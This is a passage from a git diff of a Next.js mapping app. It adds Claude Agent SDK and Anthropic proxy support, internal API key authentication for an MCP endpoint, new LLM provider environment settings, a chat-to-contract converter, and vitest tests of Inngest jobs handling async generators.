'Content-Type': anthropicResponse.headers.get('Content-Type') ?? 'text/event-stream', + 'Cache-Control': 'no-cache', + 'Connection': 'keep-alive' + } + }) + } + + // For non-streaming, parse and return JSON + const data = (await anthropicResponse.json()) as Record + + loggers.agentic('Anthropic proxy: Response received', { + userId, + status: anthropicResponse.status, + usage: data.usage as Record + }) + + return NextResponse.json(data, { + status: anthropicResponse.status + }) + + } catch (error) { + loggers.agentic.error('Anthropic proxy: Error', { + error: error instanceof Error ? error.message : String(error) + }) + + return NextResponse.json( + { error: 'Internal server error' }, + { status: 500 } + ) + } +} + +// Support all HTTP methods that Anthropic API uses +export const GET = POST +export const PUT = POST +export const PATCH = POST +export const DELETE = POST diff --git a/src/app/api/mcp/route.ts b/src/app/api/mcp/route.ts index 69f7eed14..de666775d 100644 --- a/src/app/api/mcp/route.ts +++ b/src/app/api/mcp/route.ts @@ -1,4 +1,5 @@ import { mcpTools } from '~/app/services/mcp'; +import { validateInternalApiKey } from '~/lib/domains/iam'; import { auth } from '~/server/auth'; import { runWithRequestContext } from '~/lib/utils/request-context'; @@ -40,6 +41,13 @@ async function validateApiKey(request: Request): Promise<{ apiKey: string; userI return null; } + // Try internal API key first (from IAM domain, for MCP server-to-server auth) + const internalResult = await validateInternalApiKey(apiKey); + if (internalResult) { + return { apiKey, userId: internalResult.userId }; + } + + // Fall back to regular API key validation (for external tools) const result = await auth.api.verifyApiKey({ body: { key: apiKey } }); @@ -48,8 +56,7 @@ async function validateApiKey(request: Request): Promise<{ apiKey: string; userI return null; } - const userId = result.key.userId; - return { apiKey, userId }; + return { apiKey, userId: result.key.userId }; } catch { return null; } @@ -146,6 +153,13 @@ export async function POST(request: Request): Promise { return Response.json(response); } catch (error) { + // Log the error for debugging + console.error('[MCP] Tool execution error:', { + tool: toolName, + error: error instanceof Error ? error.message : String(error), + stack: error instanceof Error ? error.stack : undefined + }); + const errorResponse: JsonRpcResponse = { jsonrpc: '2.0', id: jsonRpcRequest.id, @@ -154,7 +168,7 @@ export async function POST(request: Request): Promise { message: error instanceof Error ? error.message : 'Unknown error' } }; - return Response.json(errorResponse); + return Response.json(errorResponse, { status: 500 }); } } @@ -188,7 +202,13 @@ export async function POST(request: Request): Promise { }; return Response.json(errorResponse); - } catch { + } catch (error) { + // Log the error for debugging + console.error('[MCP] Request processing error:', { + error: error instanceof Error ? error.message : String(error), + stack: error instanceof Error ? error.stack : undefined + }); + const errorResponse: JsonRpcResponse = { jsonrpc: '2.0', id: null, diff --git a/src/app/map/Chat/_hooks/useAIChat.ts b/src/app/map/Chat/_hooks/useAIChat.ts index 306b73fe3..273a41345 100644 --- a/src/app/map/Chat/_hooks/useAIChat.ts +++ b/src/app/map/Chat/_hooks/useAIChat.ts @@ -1,10 +1,11 @@ -import { useState, useCallback, useContext, useMemo } from 'react' +import { useState, useCallback, useContext } from 'react' import { api } from '~/commons/trpc/react' import { useChatState } from '~/app/map/Chat' import { MapCacheContext } from '~/app/map/Cache' import type { CompositionConfig } from '~/lib/domains/agentic' import { type GenerateResponseResult, _handleSuccessResponse, _handleErrorResponse } from '~/app/map/Chat/_hooks/_ai-response-handlers' -import { _prepareMessagesForAI, _transformCacheState } from '~/app/map/Chat/_hooks/_ai-message-utils' +import { _prepareMessagesForAI } from '~/app/map/Chat/_hooks/_ai-message-utils' +import { convertChatMessagesToContracts } from '~/app/map/_utils/contract-converters' interface UseAIChatOptions { temperature?: number @@ -19,13 +20,8 @@ export function useAIChat(options: UseAIChatOptions = {}) { // Check if cache context is available (handles SSR/hydration) const context = useContext(MapCacheContext) - // Extract cache data directly from context if available - const cache = useMemo(() => { - return context?.state ? { - itemsById: context.state.itemsById, - center: context.state.currentCenter - } : null - }, [context]) + // Get cache state from context + const cacheState = context?.state const generateResponseMutation = api.agentic.generateResponse.useMutation({ @@ -38,16 +34,16 @@ export function useAIChat(options: UseAIChatOptions = {}) { }) const sendToAI = useCallback(async (message: string) => { - if (!cache) { + if (!cacheState) { chatState.showSystemMessage( 'Cache not available. Please ensure you are using the chat within a map context.', 'error' ) return } - - const centerCoordId = cache.center - + + const centerCoordId = cacheState.currentCenter + if (!centerCoordId) { chatState.showSystemMessage( 'No tile selected. Please select a tile to provide context for the AI.', @@ -59,21 +55,21 @@ export function useAIChat(options: UseAIChatOptions = {}) { const messages = _prepareMessagesForAI(chatState.messages, message) setIsGenerating(true) - + // Generate AI response (user message is already in chat) + // Note: When using Claude Agent SDK, must use Claude models (not OpenRouter models) generateResponseMutation.mutate({ centerCoordId, - messages, - model: 'deepseek/deepseek-r1-0528', + messages: convertChatMessagesToContracts(messages), + model: 'claude-haiku-4-5-20251001', // Changed from deepseek to Claude model for SDK compatibility temperature: options.temperature, maxTokens: options.maxTokens, - compositionConfig: options.compositionConfig, - cacheState: _transformCacheState(cache) + compositionConfig: options.compositionConfig }) - }, [chatState, cache, generateResponseMutation, options]) + }, [chatState, cacheState, generateResponseMutation, options]) // Return no-op functions if cache is not available - if (!cache) { + if (!cacheState) { return { sendToAI: async () => { console.warn('[useAIChat] Cannot send to AI - cache context not available') diff --git a/src/app/map/_hooks/useMapPageSetup.ts b/src/app/map/_hooks/useMapPageSetup.ts index 0e36ad8c7..fbcbdaa93 100644 --- a/src/app/map/_hooks/useMapPageSetup.ts +++ b/src/app/map/_hooks/useMapPageSetup.ts @@ -88,7 +88,7 @@ export function useMapPageSetup({ searchParams }: UseMapPageSetupProps): MapPage const { data: userMapResponse, isLoading: isUserMapLoading } = api.map.getUserMap.useQuery( undefined, { - enabled: mounted && (!params.center || !!centerError), + enabled: mounted && (!params.center || !!centerError) && !!mappingUserId, refetchOnWindowFocus: false, } ); diff --git a/src/app/map/_utils/contract-converters.ts b/src/app/map/_utils/contract-converters.ts new file mode 100644 index 000000000..939921d76 --- /dev/null +++ b/src/app/map/_utils/contract-converters.ts @@ -0,0 +1,159 @@ +/** + * Contract Converters + * + * Utilities to convert frontend types to backend contracts. + * This decouples frontend implementation from backend API contracts. + */ + +import type { CacheState } from '~/app/map/Cache' +import type { ChatMessage } from '~/app/map/Chat' +import type { AIContextSnapshot, ChatMessageContract } from '~/lib/domains/agentic' + +/** + * Convert frontend CacheState to AI context snapshot + * + * Creates hierarchical structure with varying detail levels: + * - Center: full title + content + coordinates + * - Children (depth 1 from center): title + preview + coordinates + * - Grandchildren (depth 2 from center): title + coordinates + */ +export function convertCacheStateToAISnapshot(cacheState: CacheState): AIContextSnapshot { + const centerCoordId = cacheState.currentCenter + + if (!centerCoordId) { + return { + centerCoordId: null, + composed: [], + children: [], + grandchildren: [], + expandedTileIds: cacheState.expandedItemIds + } + } + + const centerTile = cacheState.itemsById[centerCoordId] + if (!centerTile) { + return { + centerCoordId, + composed: [], + children: [], + grandchildren: [], + expandedTileIds: cacheState.expandedItemIds + } + } + + const centerDepth = centerTile.metadata.coordinates.path.length + const centerPath = centerTile.metadata.coordinates.path + const centerUserId = centerTile.metadata.coordinates.userId + const centerGroupId = centerTile.metadata.coordinates.groupId + + // Helper to check if a tile is a descendant of center + const isDescendant = (tile: typeof centerTile): boolean => { + const coords = tile.metadata.coordinates + return ( + coords.userId === centerUserId && + coords.groupId === centerGroupId && + coords.path.length > centerDepth && + centerPath.every((val, idx) => coords.path[idx] === val) + ) + } + + // Helper to get relative depth from center + const getRelativeDepth = (tile: typeof centerTile): number => { + return tile.metadata.coordinates.path.length - centerDepth + } + + // Helper to check if a tile is composed (direction 0) + const isComposed = (tile: typeof centerTile): boolean => { + const coords = tile.metadata.coordinates + if (coords.path.length !== centerDepth + 2) return false + + const directionValue = coords.path[centerDepth] as number + return ( + coords.userId === centerUserId && + coords.groupId === centerGroupId && + centerPath.every((val, idx) => coords.path[idx] === val) && + directionValue === 0 // Direction 0 means composed + ) + } + + // Separate tiles by hierarchy + const composed: AIContextSnapshot['composed'] = [] + const children: AIContextSnapshot['children'] = [] + const grandchildren: AIContextSnapshot['grandchildren'] = [] + + Object.values(cacheState.itemsById).forEach(tile => { + if (tile.metadata.coordId === centerCoordId) return + + // Check for composed tiles first (special case: direction 0) + if (isComposed(tile)) { + composed.push({ + coordId: tile.metadata.coordId, + coordinates: tile.metadata.coordinates, + title: tile.data.title, + content: tile.data.content + }) + return + } + + if (!isDescendant(tile)) return + + const relativeDepth = getRelativeDepth(tile) + + if (relativeDepth === 1) { + // Direct children: include preview + children.push({ + coordId: tile.metadata.coordId, + coordinates: tile.metadata.coordinates, + title: tile.data.title, + preview: tile.data.preview ?? tile.data.content.substring(0, 200) + }) + } else if (relativeDepth === 2) { + // Grandchildren: just title and coordinates + grandchildren.push({ + coordId: tile.metadata.coordId, + coordinates: tile.metadata.coordinates, + title: tile.data.title + }) + } + }) + + return { + centerCoordId, + center: { + coordId: centerTile.metadata.coordId, + coordinates: centerTile.metadata.coordinates, + title: centerTile.data.title, + content: centerTile.data.content + }, + composed, + children, + grandchildren, + expandedTileIds: cacheState.expandedItemIds + } +} + +/** + * Convert frontend ChatMessage to backend contract + * + * Serializes widgets and metadata for backend consumption. + */ +export function convertChatMessageToContract(message: ChatMessage): ChatMessageContract { + return { + id: message.id, + type: message.type, + content: typeof message.content === 'string' + ? message.content + : JSON.stringify(message.content), // Serialize widgets to JSON string + metadata: message.metadata ? { + tileId: message.metadata.tileId, + timestamp: message.metadata.timestamp.toISOString() + } : undefined + } +} + +/** + * Batch convert chat messages + */ +export function convertChatMessagesToContracts(messages: ChatMessage[]): ChatMessageContract[] { + return messages.map(convertChatMessageToContract) +} diff --git a/src/contexts/AuthContext.tsx b/src/contexts/AuthContext.tsx index 603f842d8..c00fee88d 100644 --- a/src/contexts/AuthContext.tsx +++ b/src/contexts/AuthContext.tsx @@ -66,13 +66,15 @@ export const AuthProvider = ({ children }: { children: ReactNode }) => { }; }, []); // Empty dependency array ensures this effect runs only once on mount and unmount - // Log errors if any during session fetching (but ignore empty error objects) - if (authState.error?.message) { - console.error("Error fetching session for AuthProvider:", { - error: authState.error, - errorMessage: authState.error.message, - }); - } + // Log errors in useEffect to avoid logging during render + useEffect(() => { + if (authState.error?.message) { + console.error("Error fetching session for AuthProvider:", { + error: authState.error, + errorMessage: authState.error.message, + }); + } + }, [authState.error]); // The user object is typically at authState.data.user const user = authState.data?.user; diff --git a/src/env.js b/src/env.js index 0583bd2b9..682a61211 100644 --- a/src/env.js +++ b/src/env.js @@ -17,9 +17,14 @@ export const env = createEnv({ .default("development"), MISTRAL_API_KEY: z.string().optional(), YOUTUBE_API_KEY: z.string().optional(), - OPENROUTER_API_KEY: isTestEnv - ? z.string().optional() - : z.string().min(1, "OPENROUTER_API_KEY is required in non-test environments"), + // LLM Provider configuration + LLM_PROVIDER: z.enum(["openrouter", "claude-agent-sdk"]).default("openrouter"), + OPENROUTER_API_KEY: z.string().optional(), + ANTHROPIC_API_KEY: z.string().optional(), + USE_SANDBOX: z.enum(["true", "false"]).optional(), // Enable Vercel Sandbox for Claude Agent SDK + USE_ANTHROPIC_PROXY: z.enum(["true", "false"]).optional(), // Use Anthropic proxy (for testing without sandbox) + VERCEL_OIDC_TOKEN: z.string().optional(), // Vercel OIDC token for Sandbox API (from vercel env pull) + INTERNAL_PROXY_SECRET: z.string().optional(), // Secret for authenticating internal proxy requests AUTH_SECRET: z.string().min(1), BETTER_AUTH_URL: z.string().url(), // Email provider API keys (optional, one should be provided in production) @@ -56,7 +61,13 @@ export const env = createEnv({ TEST_DATABASE_URL: process.env.TEST_DATABASE_URL, MISTRAL_API_KEY: process.env.MISTRAL_API_KEY, YOUTUBE_API_KEY: process.env.YOUTUBE_API_KEY, + LLM_PROVIDER: process.env.LLM_PROVIDER, OPENROUTER_API_KEY: process.env.OPENROUTER_API_KEY, + ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, + USE_SANDBOX: process.env.USE_SANDBOX, + USE_ANTHROPIC_PROXY: process.env.USE_ANTHROPIC_PROXY, + VERCEL_OIDC_TOKEN: process.env.VERCEL_OIDC_TOKEN, + INTERNAL_PROXY_SECRET: process.env.INTERNAL_PROXY_SECRET, AUTH_SECRET: process.env.AUTH_SECRET, BETTER_AUTH_URL: process.env.BETTER_AUTH_URL, NEXT_PUBLIC_BETTER_AUTH_URL: process.env.NEXT_PUBLIC_BETTER_AUTH_URL, diff --git a/src/lib/domains/agentic/dependencies.json b/src/lib/domains/agentic/dependencies.json index ef7665c3b..34b50397e 100644 --- a/src/lib/domains/agentic/dependencies.json +++ b/src/lib/domains/agentic/dependencies.json @@ -4,7 +4,6 @@ "drizzle-orm", "inngest", "tiktoken", - "~/app/map", "~/env", "~/lib", "~/server/db" diff --git a/src/lib/domains/agentic/index.ts b/src/lib/domains/agentic/index.ts index 4103f3289..12f2694c7 100644 --- a/src/lib/domains/agentic/index.ts +++ b/src/lib/domains/agentic/index.ts @@ -19,7 +19,7 @@ export { ContextSerializerService } from '~/lib/domains/agentic/services/context export type { TokenizerService } from '~/lib/domains/agentic/services/tokenizer.service'; // Repository implementations (for service instantiation) -export { OpenRouterRepository, QueuedLLMRepository } from '~/lib/domains/agentic/repositories'; +export { OpenRouterRepository, ClaudeAgentSDKRepository, QueuedLLMRepository } from '~/lib/domains/agentic/repositories'; export type { ILLMRepository } from '~/lib/domains/agentic/repositories'; // Domain types @@ -41,6 +41,8 @@ export type { GenerateResponseInput as GenerateRequest, GenerateResponseOutput as GenerateResponse, ListModelsOutput as StreamGenerateRequest, + ChatMessageContract, + AIContextSnapshot, } from '~/lib/domains/agentic/types/contracts'; export type { diff --git a/src/lib/domains/agentic/infrastructure/inngest/README.md b/src/lib/domains/agentic/infrastructure/inngest/README.md new file mode 100644 index 000000000..38df5e820 --- /dev/null +++ b/src/lib/domains/agentic/infrastructure/inngest/README.md @@ -0,0 +1,42 @@ +# Inngest Queue Infrastructure + +## Mental Model + +This subsystem is the "job queue orchestrator" for LLM operations - it handles long-running AI requests that might timeout on serverless platforms, similar to how a background job processor (like Sidekiq or Bull) handles async tasks in traditional web apps. + +## Responsibilities + +- Create and configure the Inngest client for event-driven background jobs +- Define background job functions for LLM generation with retry logic and rate limiting +- Support both OpenRouter (fetch-based) and Claude Agent SDK (async generator) repositories +- Queue LLM generation requests with automatic retries (up to 3 attempts) +- Throttle concurrent requests per user to prevent rate limit violations +- Handle job cancellation and cleanup of old completed jobs +- Generate tile previews asynchronously using configured LLM provider +- Store job results and status in the database for client polling + +## Non-Responsibilities + +- LLM API calls → See `~/lib/domains/agentic/repositories/README.md` (delegated to repository layer) +- Job result polling → See `~/server/api/routers/agentic/README.md` (handled by tRPC API) +- Database schema → See `~/server/db/README.md` (schema defined separately) +- Provider selection logic → Configured via `LLM_PROVIDER` environment variable in `~/env.js` + +## Interface + +**Exports**: See parent `infrastructure/index.ts` for public API: +- `inngest`: Inngest client instance for event dispatching +- `inngestFunctions`: Array of all background job functions for registration + +**Key Background Jobs**: +- `generateLLMResponse`: Main LLM generation with queuing, retries, and cancellation support +- `generatePreview`: Tile preview generation with faster throttling limits +- `cancelLLMJob`: Handle job cancellation requests +- `cleanupOldJobs`: Daily cleanup of jobs older than 7 days (runs at 2 AM) + +**SDK Compatibility**: +Both OpenRouter (fetch with ReadableStream) and Claude Agent SDK (async generators) are fully compatible with Inngest's `step.run()` function. Async generators work seamlessly without timeout issues or special handling. + +**Dependencies**: See `dependencies.json` for allowed imports. + +**Note**: This subsystem is leaf-level (no child subsystems). It can be imported by API routes and other infrastructure layers via the parent `infrastructure/index.ts` exports only. diff --git a/src/lib/domains/agentic/infrastructure/inngest/__tests__/functions.test.ts b/src/lib/domains/agentic/infrastructure/inngest/__tests__/functions.test.ts new file mode 100644 index 000000000..0f95a29be --- /dev/null +++ b/src/lib/domains/agentic/infrastructure/inngest/__tests__/functions.test.ts @@ -0,0 +1,402 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import type { LLMGenerationParams } from '~/lib/domains/agentic/types/llm.types' +import type { SDKMessage } from '~/lib/domains/agentic/types/sdk.types' + +/** + * Tests for Inngest functions with SDK async generator support + * + * These tests verify that the Inngest job queue functions correctly process + * SDK async generators without timeout issues or async pattern conflicts. + */ +describe('Inngest Functions with SDK', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + afterEach(() => { + vi.restoreAllMocks() + }) + + describe('generateLLMResponse with SDK', () => { + it('should process SDK async generator in step.run', async () => { + // Mock SDK repository + const mockSDKRepository = { + generate: vi.fn(async (_params: LLMGenerationParams) => { + // Simulate async generator processing + async function* mockQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: 'Test response' } } + } + yield { type: 'result', subtype: 'success', result: 'Test response' } + } + + let fullContent = '' + for await (const msg of mockQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return { + id: 'test-id', + model: 'claude-sonnet-4-5-20250929', + content: fullContent, + usage: { promptTokens: 10, completionTokens: 5, totalTokens: 15 }, + finishReason: 'stop' as const, + provider: 'claude-agent-sdk' as const + } + }), + generateStream: vi.fn(), + getModelInfo: vi.fn(), + listModels: vi.fn(), + isConfigured: () => true + } + + // Simulate Inngest step.run + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + return await fn() + } + } + + // Simulate the Inngest function logic + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Test' }], + model: 'claude-sonnet-4-5-20250929' + } + + const response = await mockStep.run('call-sdk', async () => { + return await mockSDKRepository.generate(params) + }) + + expect(response.content).toBe('Test response') + expect(response.provider).toBe('claude-agent-sdk') + expect(mockSDKRepository.generate).toHaveBeenCalledWith(params) + }) + + it('should handle SDK errors in step.run', async () => { + const mockSDKRepository = { + generate: vi.fn(async (_params: LLMGenerationParams) => { + // Simulate error from async generator + async function* errorQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + throw new Error('SDK error') + } + + for await (const msg of errorQuery()) { + // Process messages + void msg + } + + throw new Error('Should not reach here') + }), + generateStream: vi.fn(), + getModelInfo: vi.fn(), + listModels: vi.fn(), + isConfigured: () => true + } + + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + return await fn() + } + } + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Test' }], + model: 'claude-sonnet-4-5-20250929' + } + + await expect( + mockStep.run('call-sdk', async () => { + return await mockSDKRepository.generate(params) + }) + ).rejects.toThrow('SDK error') + }) + + it('should handle long-running SDK generation without timeout', async () => { + const mockSDKRepository = { + generate: vi.fn(async (_params: LLMGenerationParams) => { + // Simulate slow async generator (multiple chunks over time) + async function* slowQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + // Simulate 10 chunks with 50ms delay each (500ms total) + for (let i = 0; i < 10; i++) { + await new Promise(resolve => setTimeout(resolve, 50)) + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: `chunk${i} ` } } + } + } + + yield { type: 'result', subtype: 'success', result: 'Complete response' } + } + + let fullContent = '' + for await (const msg of slowQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return { + id: 'test-id', + model: 'claude-sonnet-4-5-20250929', + content: fullContent, + usage: { promptTokens: 100, completionTokens: 50, totalTokens: 150 }, + finishReason: 'stop' as const, + provider: 'claude-agent-sdk' as const + } + }), + generateStream: vi.fn(), + getModelInfo: vi.fn(), + listModels: vi.fn(), + isConfigured: () => true + } + + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + return await fn() + } + } + + const startTime = Date.now() + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Long request' }], + model: 'claude-sonnet-4-5-20250929' + } + + const response = await mockStep.run('call-sdk', async () => { + return await mockSDKRepository.generate(params) + }) + + const duration = Date.now() - startTime + + expect(response.content).toBe('Complete response') + expect(duration).toBeGreaterThanOrEqual(500) // Should take at least 500ms + }) + }) + + describe('streaming with SDK', () => { + it('should support streaming SDK responses in step.run', async () => { + const chunks: string[] = [] + + const mockSDKRepository = { + generateStream: vi.fn( + async ( + _params: LLMGenerationParams, + onChunk: (chunk: { content: string; isFinished: boolean }) => void + ) => { + // Simulate async generator streaming + async function* streamQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + const parts = ['Hello', ' streaming', ' world'] + for (const part of parts) { + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: part } } + } + } + + yield { type: 'result', subtype: 'success', result: 'Hello streaming world' } + } + + let fullContent = '' + for await (const msg of streamQuery()) { + if (msg.type === 'stream_event' && msg.event.type === 'content_block_delta') { + const deltaText = msg.event.delta.text + fullContent += deltaText + onChunk({ content: deltaText, isFinished: false }) + } else if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + onChunk({ content: '', isFinished: true }) + + return { + id: 'test-id', + model: 'claude-sonnet-4-5-20250929', + content: fullContent, + usage: { promptTokens: 10, completionTokens: 5, totalTokens: 15 }, + finishReason: 'stop' as const, + provider: 'claude-agent-sdk' as const + } + } + ) + } + + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + return await fn() + } + } + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Test' }], + model: 'claude-sonnet-4-5-20250929', + stream: true + } + + const response = await mockStep.run('stream-sdk', async () => { + return await mockSDKRepository.generateStream(params, chunk => { + if (chunk.content) { + chunks.push(chunk.content) + } + }) + }) + + expect(chunks).toEqual(['Hello', ' streaming', ' world']) + expect(response.content).toBe('Hello streaming world') + }) + }) + + describe('retry handling with SDK', () => { + it('should retry on SDK async generator failure', async () => { + let attemptCount = 0 + + const mockSDKRepository = { + generate: vi.fn(async (_params: LLMGenerationParams) => { + attemptCount++ + + async function* retryableQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + if (attemptCount < 2) { + // Fail first attempt + throw new Error('Temporary SDK failure') + } + + // Succeed on second attempt + yield { type: 'result', subtype: 'success', result: 'Success after retry' } + } + + let fullContent = '' + for await (const msg of retryableQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return { + id: 'test-id', + model: 'claude-sonnet-4-5-20250929', + content: fullContent, + usage: { promptTokens: 10, completionTokens: 5, totalTokens: 15 }, + finishReason: 'stop' as const, + provider: 'claude-agent-sdk' as const + } + }), + generateStream: vi.fn(), + getModelInfo: vi.fn(), + listModels: vi.fn(), + isConfigured: () => true + } + + // Simulate Inngest retry logic + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + const maxRetries = 3 + let lastError: Error | undefined + + for (let i = 0; i <= maxRetries; i++) { + try { + return await fn() + } catch (error) { + lastError = error as Error + if (i === maxRetries) throw error + await new Promise(resolve => setTimeout(resolve, 10)) + } + } + + throw lastError ?? new Error('Max retries exceeded') + } + } + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Test' }], + model: 'claude-sonnet-4-5-20250929' + } + + const response = await mockStep.run('call-sdk-retry', async () => { + return await mockSDKRepository.generate(params) + }) + + expect(response.content).toBe('Success after retry') + expect(attemptCount).toBe(2) + expect(mockSDKRepository.generate).toHaveBeenCalledTimes(2) + }) + }) + + describe('cancellation with SDK', () => { + it('should handle job cancellation with async generator cleanup', async () => { + const cleanup = vi.fn() + const abortController = new AbortController() + + const mockSDKRepository = { + generate: vi.fn(async (_params: LLMGenerationParams) => { + async function* abortableQuery(): AsyncGenerator { + try { + yield { type: 'stream_event', event: { type: 'message_start' } } + + // Check for abort before next operation + await new Promise(resolve => setTimeout(resolve, 100)) + if (abortController.signal.aborted) { + throw new Error('Request cancelled') + } + + yield { type: 'result', subtype: 'success', result: 'Complete' } + } finally { + cleanup() + } + } + + let fullContent = '' + for await (const msg of abortableQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return { + id: 'test-id', + model: 'claude-sonnet-4-5-20250929', + content: fullContent, + usage: { promptTokens: 10, completionTokens: 5, totalTokens: 15 }, + finishReason: 'stop' as const, + provider: 'claude-agent-sdk' as const + } + }), + generateStream: vi.fn(), + getModelInfo: vi.fn(), + listModels: vi.fn(), + isConfigured: () => true + } + + const mockStep = { + run: async (_name: string, fn: () => Promise): Promise => { + return await fn() + } + } + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Test' }], + model: 'claude-sonnet-4-5-20250929' + } + + const promise = mockStep.run('call-sdk-abort', async () => { + return await mockSDKRepository.generate(params) + }) + + // Abort after 50ms (before the 100ms delay completes) + setTimeout(() => abortController.abort(), 50) + + await expect(promise).rejects.toThrow('Request cancelled') + expect(cleanup).toHaveBeenCalled() + }) + }) +}) diff --git a/src/lib/domains/agentic/infrastructure/inngest/__tests__/sdk-compatibility.test.ts b/src/lib/domains/agentic/infrastructure/inngest/__tests__/sdk-compatibility.test.ts new file mode 100644 index 000000000..c68d10584 --- /dev/null +++ b/src/lib/domains/agentic/infrastructure/inngest/__tests__/sdk-compatibility.test.ts @@ -0,0 +1,445 @@ +import { describe, it, expect, vi } from 'vitest' +import type { SDKMessage } from '~/lib/domains/agentic/types/sdk.types' + +/** + * Tests for Inngest compatibility with Claude Agent SDK async generator patterns + * + * The SDK returns an async generator that yields messages over time. We need to verify: + * 1. Async generators work within Inngest step.run() functions + * 2. Long-running async generators don't timeout + * 3. Error handling works correctly with async generators + * 4. Cancellation works properly with async generators + */ +describe('Inngest SDK Compatibility', () => { + describe('async generator execution', () => { + it('should support async generator iteration in step.run', async () => { + // Simulate SDK async generator + async function* mockSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: 'Hello' } } + } + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: ' world' } } + } + yield { type: 'result', subtype: 'success', result: 'Hello world' } + } + + // Simulate Inngest step.run wrapper + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + // Test that async generator works in step.run + const result = await stepRun('test-step', async () => { + let fullContent = '' + + for await (const msg of mockSDKQuery()) { + if (msg.type === 'stream_event' && msg.event.type === 'content_block_delta') { + fullContent += msg.event.delta.text + } else if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return fullContent + }) + + expect(result).toBe('Hello world') + }) + + it('should handle async generator errors properly', async () => { + // Simulate SDK async generator that throws + async function* errorSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + throw new Error('SDK error') + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + await expect( + stepRun('test-step', async () => { + for await (const msg of errorSDKQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + return msg.result + } + } + return '' + }) + ).rejects.toThrow('SDK error') + }) + + it('should handle async generator cleanup on early return', async () => { + const cleanup = vi.fn() + + async function* cleanupSDKQuery(): AsyncGenerator { + try { + yield { type: 'stream_event', event: { type: 'message_start' } } + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: 'Hello' } } + } + yield { type: 'result', subtype: 'success', result: 'Complete' } + } finally { + cleanup() + } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + // Early return after first message + await stepRun('test-step', async () => { + for await (const msg of cleanupSDKQuery()) { + if (msg.type === 'stream_event' && msg.event.type === 'message_start') { + return 'early' + } + } + return 'late' + }) + + // Cleanup should have been called + expect(cleanup).toHaveBeenCalled() + }) + }) + + describe('timeout handling', () => { + it('should support long-running async generators', async () => { + // Simulate a slow SDK response (500ms) + async function* slowSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + // Simulate slow streaming + await new Promise(resolve => setTimeout(resolve, 100)) + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: 'Slow' } } + } + + await new Promise(resolve => setTimeout(resolve, 100)) + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: ' response' } } + } + + await new Promise(resolve => setTimeout(resolve, 100)) + yield { type: 'result', subtype: 'success', result: 'Slow response' } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + const startTime = Date.now() + const result = await stepRun('test-step', async () => { + let fullContent = '' + + for await (const msg of slowSDKQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } + } + + return fullContent + }) + + const duration = Date.now() - startTime + expect(result).toBe('Slow response') + expect(duration).toBeGreaterThanOrEqual(300) // At least 300ms + }) + + it('should handle timeout if generator takes too long', async () => { + const TIMEOUT_MS = 100 + + async function* verySlowSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + // Simulate very slow operation + await new Promise(resolve => setTimeout(resolve, 200)) + yield { type: 'result', subtype: 'success', result: 'Done' } + } + + const stepRunWithTimeout = async ( + _name: string, + fn: () => Promise, + timeoutMs: number + ): Promise => { + const timeoutPromise = new Promise((_, reject) => { + setTimeout(() => reject(new Error('Step timeout')), timeoutMs) + }) + + return await Promise.race([fn(), timeoutPromise]) + } + + await expect( + stepRunWithTimeout( + 'test-step', + async () => { + for await (const msg of verySlowSDKQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + return msg.result + } + } + return '' + }, + TIMEOUT_MS + ) + ).rejects.toThrow('Step timeout') + }) + }) + + describe('cancellation handling', () => { + it('should support aborting async generator via AbortSignal', async () => { + const abortController = new AbortController() + + async function* abortableSDKQuery( + signal?: AbortSignal + ): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + // Check abort signal + await new Promise(resolve => setTimeout(resolve, 50)) + if (signal?.aborted) { + throw new Error('Request aborted') + } + + yield { + type: 'stream_event', + event: { type: 